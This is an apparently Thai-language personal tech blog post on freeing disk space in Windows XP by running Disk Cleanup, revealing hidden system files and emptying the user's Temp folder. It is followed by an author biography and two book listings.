เมื่อเราใช้คอมพิวเตอร์ไประยะหนึ่ง (สองถึงสามเดือน) จะมีไฟล์ชั่วคราวหรือไฟล์ของระบบที่ไม่ได้ใช้แล้วเกิดขึ้นจำนวนมาก เราสามารถลบไฟล์เหล่านี้ทิ้งได้โดยไม่ก่อให้เกิดผลเสียใดๆ ในทางตรงกันข้ามการกำจัดไฟล์เหล่านี้จะทำให้คอมพิวเตอร์ทำงานได้มีประสิทธิภาพยิ่งขึ้น

วิธีเก็บกวาดทำได้โดยเปิดโปรแกรม Window Explorer คลิกขวาที่ฮาร์ดดิสก์ที่เราต้องการเก็บกวาด (ปรกติจะเป็นไดร์ฟซี)  เลือกหัวข้อ Properties จะเห็นกรอบข้อความ Properties แสดงสถานะของฮาร์ดดิสก์ เช่นเนื้อที่ทั้งหมด เนื้อที่ว่าง มุมล่างด้านซ้ายมีปุ่ม Disk Cleanup ให้กดปุ่มนี้ เพราะนี่คือปุ่มทำหน้าที่กำจัดไฟล์ชั่วคราวหรือไฟล์ของระบบที่วินโดวส์ไม่ได้ใช้แล้ว ให้ทำกระบวนการนี้ซ้ำกับพาร์ติชันและฮาร์ดดิสก์อื่นๆ (ถ้ามี) ให้ครบทุกตัว

 


รูป 004 : กรอบข้อความ Properties แสดงสถานะของฮาร์ดดิสก์และมีปุ่ม Disk Cleanup

 

ยังมีขยะที่เป็นไฟล์ของระบบบางแห่งที่จะไม่ถูกลบแม้เรากดปุ่ม Disk Cleanup ไปแล้ว เราจึงต้องตามไปลบไฟล์เหล่านั้นด้วยตนเอง แต่โดยปริยายแล้วโปรแกรม Windows Explorer จะไม่แสดงไฟล์ของระบบ ทำให้เรามองไม่เห็น เราจึงไปลบไม่ได้ ดังนั้นขั้นแรกเราจึงต้องเปลี่ยนการกำหนดค่าของโปรแกรม Windows Explorer เพื่อให้เรามองเห็นไฟล์ของระบบเสียก่อน โดยทำตามขั้นตอนดังนี้
1.    เปิดโปรแกรม Windows Explorer
2.    เลือกเมนู Tools
3.    เลือกหัวข้อ Folder Options…
4.    ในกรอบข้อความ Folder Options… ให้กด tab View
5.    กดให้มีเครื่องหมายบวกหน้ารายการ Show hidden files and folders
6.    กดให้ไม่มีเครื่องหมายบวกหน้ารายการ Hide extensions for known file types
7.    กดให้ไม่มีเครื่องหมายบวกหน้ารายการ Hide protected operating system files

 

รูป 005 : ในกรอบข้อความ Folder Options… tab View

 

เมื่อทำตามขั้นตอนข้างบนแล้วต่อไปเราจะลบไฟล์ขยะของระบบ ให้เปิดใช้โปรแกรม Windows Explorer เปิดโฟลเดอร์ C:\Documents and Settings\xxx\Local settings\Temp (xxx คือชื่อที่ท่านใช้ในระบบ) ในโฟลเดอร์ Temp จะมีไฟล์และโฟลเดอร์ที่เป็นขยะจำนวนมาก ให้ลบทิ้งทั้งหมดโดยเลือกเมนู File, Select All, Delete

ระหว่างลบไฟล์ขยะอาจมีกรอบข้อความ Error Deleting File or Folder แสดงว่าอาจยังมีบางไฟล์หรือโฟลเดอร์ที่ถูกอ้างอิงจากระบบอยู่ ให้ยกเลิกการเลือกโฟลเดอร์นั้น แล้วลบที่เหลือ หากหาไม่เจอว่าโฟลเดอร์ใดเป็นสาเหตุของ Error ให้เลือกลบทีละโฟลเดอร์ ในกรณีที่คอมพิวเตอร์มีผู้ใช้งานหลายคน อาจมีโฟลเดอร์ Temp หลายชุด ให้ทำขั้นตอนนี้ช้ำกับผู้ใช้คนจนครบ การทำเช่นนี้จะทำให้ได้ที่ว่างในฮาร์ดดิสก์คืนมาจำนวนมาก และทำให้คอมพิวเตอร์ทำงานเร็วขึ้นด้วย


เกี่ยวกับบล็อกนี้

เว็บบล็อก “คนคอมพิวเตอร์” หรือ Laploy’s articles เป็นบล็อกรวบรวมบทความจาก ลาภลอย วานิชอังกูร มีบทความหลายประเภทคละกัน เช่นบทความเกี่ยวกับการพัฒนาซอฟต์แวร์ บทความเกี่ยวกับการสร้างและดัดแปลงฮาร์ดแวร์ บทความเกี่ยวกับเทคโนโลยีคอมพิวเตอร์ทั่วไป บทความทั่วไป และนิยายนักสืบ

เกี่ยวกับผู้เขียน

ลาภลอย วานิชอังกูร เป็นผู้เชี่ยวชาญการพัฒนาแอพลิเกชันฐานข้อมูลและ Business Intelligence โดยเริ่มจากการพัฒนาโปรแกรมด้วย dBaseII, Clipper, FoxPro ปัจจุบันเป็นผู้เชี่ยวชาญในการบูรณาการระบบฐานข้อมูลด้วยเทคโนโลยีของไมโคร ซอฟต์เช่น ASP.NET, ADO.NET, Microsoft SQL Server 2008 และ LINQ ชำนาญการเขียนคิวรีเพื่อแก้ปัญหาทางธุรกิจที่ซับซ้อน Data mining, Data Warehouse, OLAP (SSRS), OLTP เคยออกแบบฐานข้อมูลสัมพันธ์ในองค์กรระหว่างประเทศ เคยพัฒนาแอพลิเกชันฐานข้อมูลในโครงการขนาดใหญ่หลายโครงการ และเคยให้คำปรึกษาด้าน BI ในศูนย์คอมพิวเตอร์ (T-Center) ในองค์กรของประเทศฝรั่งเศส
นอกจากงานฐานข้อมูลแล้ว ลาภลอย วานิชอังกูร ยังเชี่ยวชาญการพัฒนาซอฟต์แวร์ระบบฝังตัว (Microprocessor / Microcontroller Based Embedded System) งานพัฒนาแอพลิเกชันในอินเตอร์เน็ตแบบ RIA (Rich Internet Application) งานพัฒนาโครงสร้างพื้นฐานของซอฟต์แวร์ด้วยหลักการ OOP (Framework Development in Object Oriented Programming) ด้วยภาษา C# และ .NET Framework และงานบูรณาการระบบในองค์กรหรือ SOA (Service Oriented Architecture for Enterprise Orchestration) เคยร่วมงานกับทีมพัฒนาซอฟต์แวร์ในหลายๆ ประเทศ เช่น ไทย อินเดีย สวิส เยอรมัน และประเทศสหรัฐอเมริกา
ปัจจุบัน ลาภลอย วานิชอังกูร ทำหน้าที่ให้คำปรึกษาการวางระบบ IT (เช่น SQL, OLAP,.NET, SCADA, BI, SOA และอื่นๆ) ให้แก่หน่วยงานขนาดใหญ่หลายแห่ง และมีบทความทางวิชาการตีพิมพ์ในวารสารหลายเล่มอย่างสม่ำเสมอ และเป็นผู้เขียนหนังสือ "เรียนรู้ด้วยตนเอง DataBase - Query - T-SQL - Stored Procedure" และ “เรียนรู้ด้วยตนเอง OOP C# ASP.NET” (ISBN 13:978-974-212-598-1)
ท่านสามารถติดต่อผู้เขียนได้ที่อีเมล laploy@gmail.com

เรียนรู้ด้วยตนเอง OOP C# ASP.NET

ชื่อหนังสือ : เรียนรู้ด้วยตนเอง OOP C# ASP.NET โดย : ลาภลอย วานิชอังกูร จัดพิมพ์จัดจำหน่ายโดย : บริษัท ซีเอ็ดยูเคชั่น จำกัด (มหาชน) ISBN : 13:978-974-212-598-1 ราคา : 349 บาท จำนวนหน้า : 648 ขนาด : 19x29 ซ.ม.

เรียนรู้ด้วยตนเอง DataBase – Query – T-SQL – Stored Procedure

ชื่อหนังสือ: เรียนรู้ด้วยตนเอง DataBase - Query - T-SQL - Stored Procedure โดย: ลาภลอย วานิชอังกูร จัดพิมพ์จัดจำหน่าย: บริษัท ซีเอ็ดยูเคชั่น จำกัด (มหาชน) ISBN: 978-616-08-0009-4 ราคา: 559 บาท จำนวนหน้า: 1,100 ขนาด: 19x29 ซ.ม. วางตลาด: ตุลา 2552

กรุณาป้อนอีเมลของท่าน

Join 17 other followers